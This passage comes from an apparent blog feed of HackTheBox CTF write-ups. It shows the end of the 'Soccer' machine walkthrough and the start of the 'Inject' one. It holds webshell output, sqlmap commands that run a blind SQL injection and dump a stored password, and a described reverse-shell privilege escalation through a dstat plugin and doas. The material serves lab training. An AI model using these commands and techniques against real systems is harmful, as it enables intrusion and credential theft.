  <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">GUI</span> <span class="na">Path</span>  <span class="na">:</span> <span class="na">tiny</span><span class="err">/</span><span class="na">uploads</span>
  <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">Filesystem</span> <span class="na">Path</span>  <span class="err">../../../../../../../../../../../</span><span class="na">var</span><span class="err">/</span><span class="na">www</span><span class="err">/</span><span class="na">html</span><span class="err">/</span><span class="na">tiny</span><span class="err">/</span><span class="na">uploads</span><span class="err">/</span><span class="na">yllcuaazec.php</span>
  <span class="err">[+]</span> <span class="na">Webshell</span> <span class="na">Uploaded</span><span class="err">!</span>
  <span class="err">[</span><span class="na">*</span><span class="err">]</span> <span class="na">Starting</span> <span class="na">Webshell</span> <span class="na">at:</span> <span class="na">http:</span><span class="err">//</span><span class="na">soccer.htb</span><span class="err">/</span><span class="na">tiny</span><span class="err">/</span><span class="na">uploads</span><span class="err">/</span><span class="na">yllcuaazec.php</span>
          <span class="err">[+]</span> <span class="na">Info:</span> <span class="na">Linux</span> <span class="na">soccer</span> <span class="err">5.4.0</span><span class="na">-135-generic</span> <span class="na">#152-Ubuntu</span> <span class="na">SMP</span> <span class="na">Wed</span> <span class="na">Nov</span> <span class="err">23</span> <span class="err">20</span><span class="na">:19:22</span> <span class="na">UTC</span> <span class="err">2022</span> <span class="na">x86_64</span> <span class="na">x86_64</span> <span class="na">x86_64</span> <span class="na">GNU</span><span class="err">/</span><span class="na">Linux</span>
          <span class="err">[+]</span> <span class="na">User:</span> <span class="na">uid=</span><span class="s">33(www-data)</span> <span class="na">gid=</span><span class="s">33(www-data)</span> <span class="na">groups=</span><span class="s">33(www-data)</span>

  <span class="na">Type</span> <span class="na">quit</span> <span class="na">to</span> <span class="na">exit</span>
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">id</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  uid=33(www-data) gid=33(www-data) groups=33(www-data)
</code></pre></div>    </div>
  </li>
</ul>

<h2 id="privesc-www-data">Privesc www-data</h2>

<ul>
  <li><code class="language-html highlighter-rouge">find / -user www-data 2&gt;/dev/null</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  /run/php
  /run/php/php7.4-fpm.sock
  /var/lib/nginx/proxy
  /var/lib/nginx/proxy/7
  /var/lib/nginx/proxy/7/00
  /var/lib/nginx/proxy/7/01
  /var/lib/nginx/proxy/4
  /var/lib/nginx/proxy/4/02
  /var/lib/nginx/proxy/4/00
  /var/lib/nginx/proxy/4/01
  /var/lib/nginx/proxy/2
  /var/lib/nginx/proxy/2/02
  /var/lib/nginx/proxy/2/00
  /var/lib/nginx/proxy/2/01
  /var/lib/nginx/proxy/8
  /var/lib/nginx/proxy/8/00
  /var/lib/nginx/proxy/8/01
  /var/lib/nginx/proxy/6
  /var/lib/nginx/proxy/6/00
  /var/lib/nginx/proxy/6/01
  /var/lib/nginx/proxy/1
  /var/lib/nginx/proxy/1/02
  /var/lib/nginx/proxy/1/00
  /var/lib/nginx/proxy/1/01
  /var/lib/nginx/proxy/0
  /var/lib/nginx/proxy/0/02
  /var/lib/nginx/proxy/0/01
  /var/lib/nginx/proxy/9
  /var/lib/nginx/proxy/9/00
  /var/lib/nginx/proxy/9/01
  /var/lib/nginx/proxy/3
  /var/lib/nginx/proxy/3/02
  /var/lib/nginx/proxy/3/00
  /var/lib/nginx/proxy/3/01
  /var/lib/nginx/proxy/5
  /var/lib/nginx/proxy/5/00
  /var/lib/nginx/proxy/5/01
  /var/lib/nginx/scgi
  /var/lib/nginx/fastcgi
  /var/lib/nginx/uwsgi
  /var/lib/nginx/body
  /var/www/html/tiny/uploads/qkvaywkhoc.php
  /var/log/nginx/access.log
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">cat /etc/passwd</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
  systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
  systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
  messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
  syslog:x:104:110::/home/syslog:/usr/sbin/nologin
  _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
  tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
  uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
  tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
  sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
  landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
  pollinate:x:111:1::/var/cache/pollinate:/bin/false
  fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
  systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
  lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
  player:x:1001:1001::/home/player:/bin/bash
  mysql:x:113:121:MySQL Server,,,:/nonexistent:/bin/false
  _laurel:x:997:997::/var/log/laurel:/bin/false
</code></pre></div>    </div>
  </li>
  <li>I download and run <code class="language-html highlighter-rouge">linpeas.sh</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Active Ports
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
    
  tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1122/nginx: worker                                                                                                                                          
  tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
  tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
  tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
  tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
  tcp6       0      0 :::80                   :::*                    LISTEN      1122/nginx: worker  
  tcp6       0      0 :::22                   :::*                    LISTEN      -
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ══╣ PHP exec extensions
  drwxr-xr-x 2 root root 4096 Dec  1 13:48 /etc/nginx/sites-enabled
  lrwxrwxrwx 1 root root 41 Nov 17 08:39 /etc/nginx/sites-enabled/soc-player.htb -&gt; /etc/nginx/sites-available/soc-player.htb
  server {
          listen 80;
          listen [::]:80;
          server_name soc-player.soccer.htb;
          root /root/app/views;
          location / {
                  proxy_pass http://localhost:3000;
                  proxy_http_version 1.1;
                  proxy_set_header Upgrade $http_upgrade;
                  proxy_set_header Connection 'upgrade';
                  proxy_set_header Host $host;
                  proxy_cache_bypass $http_upgrade;
          }
  }
  lrwxrwxrwx 1 root root 34 Nov 17 08:06 /etc/nginx/sites-enabled/default -&gt; /etc/nginx/sites-available/default
  server {
          listen 80;
          listen [::]:80;
          server_name 0.0.0.0;
          return 301 http://soccer.htb$request_uri;
  }
  server {
          listen 80;
          listen [::]:80;
          server_name soccer.htb;
          root /var/www/html;
          index index.html tinyfilemanager.php;

          location / {
              try_files $uri $uri/ =404;
          }
          location ~ \.php$ {
                  include snippets/fastcgi-php.conf;
                  fastcgi_pass unix:/run/php/php7.4-fpm.sock;
          }
          location ~ /\.ht {
                  deny all;
          }
  }
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching root files in home dirs (limit 30)
  /home/
  /home/player/.viminfo
  /home/player/user.txt
  /home/player/.bash_history
  /root/
  /var/www
  /var/www/html
  /var/www/html/ground1.jpg
  /var/www/html/ground4.jpg
  /var/www/html/football.jpg
  /var/www/html/ground3.jpg
  /var/www/html/index.html
  /var/www/html/tiny
  /var/www/html/tiny/tinyfilemanager.php
  /var/www/html/tiny/uploads
  /var/www/html/ground2.jpg
</code></pre></div>    </div>
  </li>
  <li>
    <p>I add <code class="language-html highlighter-rouge">soc-player.soccer.htb</code> to <code class="language-html highlighter-rouge">/etc/hosts</code> and visit the full site behind reverse proxy.</p>

    <p>I create an account, log in and see what the site allows me to do.</p>

    <p>I am assigned a ticket and I can query some backend which tells me if it exists or not.</p>

    <p>From the “Network” tab I don’t see traffic generated at each entry of ticket IDs but only an initial request:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  GET ws://soc-player.soccer.htb:9091/
</code></pre></div>    </div>

    <p>It’s a WebSocket, I look at the JS source code that does this thing:</p>
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>   <span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span>
      <span class="kd">var</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebSocket</span><span class="p">(</span><span class="dl">"</span><span class="s2">ws://soc-player.soccer.htb:9091</span><span class="dl">"</span><span class="p">);</span>
      <span class="nb">window</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
          <span class="kd">var</span> <span class="nx">btn</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">btn</span><span class="dl">'</span><span class="p">);</span>
          <span class="kd">var</span> <span class="nx">input</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="dl">'</span><span class="s1">id</span><span class="dl">'</span><span class="p">);</span>
            
          <span class="nx">ws</span><span class="p">.</span><span class="nx">onopen</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
              <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">connected to the server</span><span class="dl">'</span><span class="p">)</span>
          <span class="p">}</span>
          <span class="nx">input</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">keypress</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
              <span class="nx">keyOne</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span>
          <span class="p">});</span>
            
          <span class="kd">function</span> <span class="nx">keyOne</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
              <span class="nx">e</span><span class="p">.</span><span class="nx">stopPropagation</span><span class="p">();</span>
              <span class="k">if</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">keyCode</span> <span class="o">===</span> <span class="mi">13</span><span class="p">)</span> <span class="p">{</span>
                  <span class="nx">e</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
                  <span class="nx">sendText</span><span class="p">();</span>
              <span class="p">}</span>
          <span class="p">}</span>
            
          <span class="kd">function</span> <span class="nx">sendText</span><span class="p">()</span> <span class="p">{</span>
              <span class="kd">var</span> <span class="nx">msg</span> <span class="o">=</span> <span class="nx">input</span><span class="p">.</span><span class="nx">value</span><span class="p">;</span>
              <span class="k">if</span> <span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                  <span class="nx">ws</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span>
                      <span class="dl">"</span><span class="s2">id</span><span class="dl">"</span><span class="p">:</span> <span class="nx">msg</span>
                  <span class="p">}))</span>
              <span class="p">}</span>
              <span class="k">else</span> <span class="nx">append</span><span class="p">(</span><span class="dl">"</span><span class="s2">????????</span><span class="dl">"</span><span class="p">)</span>
          <span class="p">}</span>
      <span class="p">}</span>
        
      <span class="nx">ws</span><span class="p">.</span><span class="nx">onmessage</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
          <span class="nx">append</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">)</span>
      <span class="p">}</span>
        
      <span class="kd">function</span> <span class="nx">append</span><span class="p">(</span><span class="nx">msg</span><span class="p">)</span> <span class="p">{</span>
          <span class="kd">let</span> <span class="nx">p</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">"</span><span class="s2">p</span><span class="dl">"</span><span class="p">);</span>
          <span class="c1">// let randomColor = '#' + Math.floor(Math.random() * 16777215).toString(16);</span>
          <span class="c1">// p.style.color = randomColor;</span>
          <span class="nx">p</span><span class="p">.</span><span class="nx">textContent</span> <span class="o">=</span> <span class="nx">msg</span>
      <span class="p">}</span>
  <span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span></code></pre></div>    </div>
  </li>
  <li>
    <p>I can use BurpSuite to edit open communication to my liking; since an ID is being checked a backend is probably being queried.</p>

    <p>I try to see if I can exploit a SQLI by focusing on the MYSQL DBMS which is most likely installed on the host as port 3306 is open.</p>

    <p>Also I can see the MYSQL version with the command: <code class="language-html highlighter-rouge">mysql -V</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  mysql  Ver 8.0.31-0ubuntu0.20.04.2 for Linux on x86_64 ((Ubuntu))
</code></pre></div>    </div>

    <p>And finally see if it matches the response on the listening port:<br />
  <code class="language-html highlighter-rouge">curl --http0.9 localhost:3306 &gt; /tmp/out.txt 2&gt;<span class="err">&amp;</span>1</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  8.0.31-0ubuntu0.20.04.208I{ta#o�����0cyOt@-KF&gt;'caching_sha2_password!��#08S01Got packets out of order
</code></pre></div>    </div>

    <p>Ok, the backend is MYSQL, so if it’s used there might be a SQLI:<br />
  <a href="https://hacktips.it/websocket-penetration-test/"><code class="language-html highlighter-rouge">sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3</code></a></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Parameter: JSON #1* ((custom) POST)
      Type: boolean-based blind
      Title: OR boolean-based blind - WHERE or HAVING clause
      Payload: {"id":"-5963 OR 3767=3767"}
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3 --dbs</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  available databases [5]:
  [*] information_schema
  [*] mysql
  [*] performance_schema
  [*] soccer_db
  [*] sys
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3 -D soccer_db --tables</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [1 table]
  +----------+
  | accounts |
  +----------+
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3 -D soccer_db -T accounts --columns</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [4 columns]
  +----------+-------------+
  | Column   | Type        |
  +----------+-------------+
  | email    | varchar(40) |
  | id       | int         |
  | password | varchar(40) |
  | username | varchar(40) |
  +----------+-------------+
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">sqlmap -u "ws://soc-player.soccer.htb:9091/" --method=POST --data='{"id":"1*"}' --dbms=MySQL --risk 3 -D soccer_db -T accounts --dump</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  [1 entry]
  +------+-------------------+----------------------+----------+
  | id   | email             | password             | username |
  +------+-------------------+----------------------+----------+
  | 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
  +------+-------------------+----------------------+----------+
</code></pre></div>    </div>

    <p>I got the credentials of the user <code class="language-html highlighter-rouge">player</code>, being present in <code class="language-html highlighter-rouge">/etc/passwd</code> I try to login with ssh.</p>

    <p>Bingo!</p>
  </li>
</ul>

<h2 id="privesc-player">Privesc player</h2>

<ul>
  <li>I run <code class="language-html highlighter-rouge">linpeas.sh</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  proc    /proc   proc    defaults,nodev,relatime,hidepid=2
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Searching root files in home dirs (limit 30)
  /home/
  /home/player/.viminfo
  /home/player/user.txt
  /home/player/.bash_history
  /root/
  /var/www
  /var/www/html
  /var/www/html/ground1.jpg
  /var/www/html/ground4.jpg
  /var/www/html/football.jpg
  /var/www/html/ground3.jpg
  /var/www/html/index.html
  /var/www/html/tiny
  /var/www/html/tiny/tinyfilemanager.php
  /var/www/html/tiny/uploads
  /var/www/html/ground2.jpg
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                                                                                                           
  /dev/mqueue
  /dev/shm
  /home/player
  /run/lock
  /run/screen
  /run/user/1001
  /run/user/1001/dbus-1
  /run/user/1001/dbus-1/services
  /run/user/1001/gnupg
  /run/user/1001/inaccessible
  /run/user/1001/systemd
  /run/user/1001/systemd/transient
  /run/user/1001/systemd/units
  /snap/core20/1695/run/lock
  /snap/core20/1695/tmp
  /snap/core20/1695/var/tmp
  /tmp
  /tmp/.ICE-unix
  /tmp/.Test-unix
  /tmp/.X11-unix
  /tmp/.XIM-unix
  /tmp/.font-unix
  #)You_can_write_even_more_files_inside_last_directory

  /var/crash
  /var/lib/php/sessions
  /var/tmp
  /var/tmp/cloud-init
  /var/www/html/tiny/uploads
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
  ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                                                                                                           
  Group player:
  /usr/local/share/dstat
</code></pre></div>    </div>

    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  ╔══════════╣ Executable files potentially added by user (limit 70)
  2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit
  2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas
  2022-11-17+09:09:15.5399067120 /usr/local/bin/doas
  2022-11-15+21:42:19.3514476930 /etc/grub.d/01_track_initrdless_boot_fallback
  2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_terminal.sh
  2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_keyboard.sh
  2022-11-15+21:40:43.9906230840 /etc/console-setup/cached_setup_font.sh
</code></pre></div>    </div>

    <p>I notice that the <code class="language-html highlighter-rouge">player</code> group has 777 access to the <code class="language-html highlighter-rouge">/usr/local/share/dstat</code> folder:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  drwxrwx---  2 root player 4096 May  4 16:12 dstat
</code></pre></div>    </div>

    <p>I google what <code class="language-html highlighter-rouge">dstat</code> is and if there are any exploits: <a href="https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/">https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-dstat-privilege-escalation/</a></p>

    <p>I create a <code class="language-html highlighter-rouge">/usr/local/share/dstat/dstat_evil.py</code> file with a reverse shell inside.</p>

    <p>I run: <code class="language-html highlighter-rouge">dstat --evil</code> → I can get a reverse shell but with my <code class="language-html highlighter-rouge">player</code> user, I need to see when <code class="language-html highlighter-rouge">root</code> executes the command or something that increases the privilege.</p>
  </li>
  <li>
    <p>I can’t see the processes, as shown by linpeas, because the file system <code class="language-html highlighter-rouge">/proc</code> is mounted with <code class="language-html highlighter-rouge">hidepid=2</code>.</p>

    <p>Back to linpeas output:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  2022-11-17+09:09:15.5479107120 /usr/local/bin/doasedit
  2022-11-17+09:09:15.5439087120 /usr/local/bin/vidoas
  2022-11-17+09:09:15.5399067120 /usr/local/bin/doas
</code></pre></div>    </div>

    <p>The first two binaries have nothing special while the third one has SETUID enabled, I’m looking for useful exploits: <a href="https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/doas/">https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/doas/</a></p>

    <p>I check if there is a pre-existing configuration: <code class="language-html highlighter-rouge">/usr/local/etc/doas.conf</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  permit nopass player as root cmd /usr/bin/dstat
</code></pre></div>    </div>

    <p>Ok, here is the way to become <code class="language-html highlighter-rouge">root</code> that was missing, I can get a reverse shell as <code class="language-html highlighter-rouge">root</code> by recreating the <code class="language-html highlighter-rouge">dstat_evil.py</code> plugin with a reverse shell inside and giving the command: <code class="language-html highlighter-rouge">/usr/local/bin/doas /usr/ bin/dstat --evil</code></p>
  </li>
</ul>]]></content><author><name>Federico Fantini</name></author><category term="Writeups" /><category term="HackTheBox" /><category term="CTF" /><category term="TinyFileManager-2.4.3" /><category term="CVE-2021-45010" /><category term="Brute-Force" /><category term="Nginx-Vhost" /><category term="WebSocket" /><category term="Blind-SQL-Injection" /><category term="Dstat-Evil-Plugin" /><category term="Doas" /><summary type="html"><![CDATA[INDEX INDEX Enumeration Privesc www-data Privesc player]]></summary></entry><entry><title type="html">Inject writeup</title><link href="https://federicofantini.github.io/blog/2023/04/23/Inject.html" rel="alternate" type="text/html" title="Inject writeup" /><published>2023-04-23T00:00:00+02:00</published><updated>2023-04-23T00:00:00+02:00</updated><id>https://federicofantini.github.io/blog/2023/04/23/Inject</id><content type="html" xml:base="https://federicofantini.github.io/blog/2023/04/23/Inject.html"><![CDATA[<h1 id="index">INDEX</h1>
<ul>
  <li><a href="#enumeration">Enumeration</a></li>
  <li><a href="#privesc-bean">Privesc frank</a></li>
  <li><a href="#privesc-www-data">Privesc www-data</a></li>
  <li><a href="#extra-just-for-fun">Extra (just for fun)</a></li>
</ul>

<p><br /><br /></p>

<p><img src="/blog/assets/images/machines/Inject/Inject.png" alt="Inject box HTB" /></p>

<h2 id="enumeration">Enumeration</h2>

<ul>
  <li><code class="language-html highlighter-rouge">nmap -A -p- -T4 10.10.11.204</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  PORT     STATE SERVICE     VERSION
  22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
  |   256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
  |_  256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
  8080/tcp open  nagios-nsca Nagios NSCA
  |_http-title: Home
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">gobuster dir -u http://inject.htb:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  /register             (Status: 200) [Size: 5654]
  /blogs                (Status: 200) [Size: 5371]
  /upload               (Status: 200) [Size: 1857]
  /environment          (Status: 500) [Size: 712]
  /error                (Status: 500) [Size: 106]
  /release_notes        (Status: 200) [Size: 1086]
  /show_image           (Status: 400) [Size: 194]
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">gobuster dns -d inject.htb -t 50 -w /usr/share/wordlists/seclist/Discovery/DNS/subdomains-top1million-20000.txt</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>
</code></pre></div>    </div>
  </li>
  <li><code class="language-html highlighter-rouge">gobuster vhost -u http://inject.htb:8080/ -w /usr/share/wordlists/seclist/Discovery/DNS/subdomains-top1million-20000.txt</code>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  Found: gc._msdcs Status: 400 [Size: 435]
  Found: _domainkey Status: 400 [Size: 435]
</code></pre></div>    </div>
  </li>
  <li>I try the file upload functionality:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"/upload"</span> <span class="na">method=</span><span class="s">"post"</span> <span class="na">enctype=</span><span class="s">"multipart/form-data"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;input</span> <span class="na">class=</span><span class="s">"form-control"</span> <span class="na">name=</span><span class="s">"file"</span> <span class="na">type=</span><span class="s">"file"</span> <span class="na">id=</span><span class="s">"formFile"</span><span class="nt">&gt;&lt;br</span> <span class="nt">/&gt;</span>

      <span class="nt">&lt;input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Upload"</span> <span class="na">class=</span><span class="s">"btn btn-warning"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;/form&gt;</span>
</code></pre></div>    </div>

    <p>I create a test txt file with <code class="language-html highlighter-rouge">test</code> inside and I upload it</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  POST /upload HTTP/1.1
  Host: inject.htb:8080
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=---------------------------21847287539462960801171425640
  Content-Length: 223
  Origin: http://inject.htb:8080
  DNT: 1
  Connection: close
  Referer: http://inject.htb:8080/upload
  Upgrade-Insecure-Requests: 1

  -----------------------------21847287539462960801171425640
  Content-Disposition: form-data; name="file"; filename="test.png"
  Content-Type: text/plain

  test

  -----------------------------21847287539462960801171425640--
</code></pre></div>    </div>

    <p>On the website I can see:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nt">&lt;a</span> <span class="na">class=</span><span class="s">"text-success"</span> <span class="na">href=</span><span class="s">"/show_image?img=test.png"</span><span class="nt">&gt;</span>View your Image<span class="nt">&lt;/a&gt;</span>
</code></pre></div>    </div>

    <p>I open the image and this error appears:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">"http://inject.htb:8080/show_image?img=test.png"</span> <span class="na">alt=</span><span class="s">"The image “http://inject.htb:8080/show_image?img=test.png” cannot be displayed because it contains errors."</span><span class="nt">&gt;</span>
</code></pre></div>    </div>

    <p>The above error is browser-level, so I’m using Python to see what’s actually going on:</p>
    <div class="language-python highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kn">import</span> <span class="nn">requests</span>

  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'test.png'</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
      <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">'test'</span><span class="p">)</span>

  <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'test.png'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
      <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span>
          <span class="s">'http://inject.htb:8080/upload/'</span><span class="p">,</span>
          <span class="n">files</span><span class="o">=</span><span class="p">{</span><span class="s">'file'</span><span class="p">:</span> <span class="n">f</span><span class="p">},</span>
          <span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s">'filename'</span><span class="p">:</span><span class="s">'test.png'</span><span class="p">}</span>
      <span class="p">)</span>

